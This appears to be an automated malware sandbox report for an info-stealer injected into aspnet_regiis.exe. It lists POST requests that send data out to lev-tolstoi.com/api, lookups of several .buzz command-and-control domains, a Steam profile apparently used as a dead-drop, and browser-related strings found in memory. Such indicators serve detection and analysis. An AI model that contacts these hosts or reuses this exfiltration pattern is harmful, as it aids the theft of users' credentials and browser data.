Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6G77YAN4O6JQCPPA9FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8791Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VTE315RFUWUZY5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20420Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LYXP6LOCU8472NMT2QZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1284Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EZMLRP7PI78R7NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1110Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: ingreem-eilish.biz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appliacnesot.buzz:443/api
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894288105.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/?#
Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1883574835.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894288105.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866458834.0000000002A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiA
Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiQ0O0q
Source: aspnet_regiis.exe, 00000002.00000002.1894288105.0000000002A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api_q
Source: aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apil
Source: aspnet_regiis.exe, 00000002.00000003.1883574835.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894288105.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866458834.0000000002A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apiB
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apiZ
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apipi
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://prisonyfork.buzz:443/api
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/h
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: aspnet_regiis.exe, 00000002.00000003.1738208675.0000000004F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761739579.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1738208675.0000000004F93000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761459595.0000000004F47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761739579.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1738208675.0000000004F93000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761459595.0000000004F47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
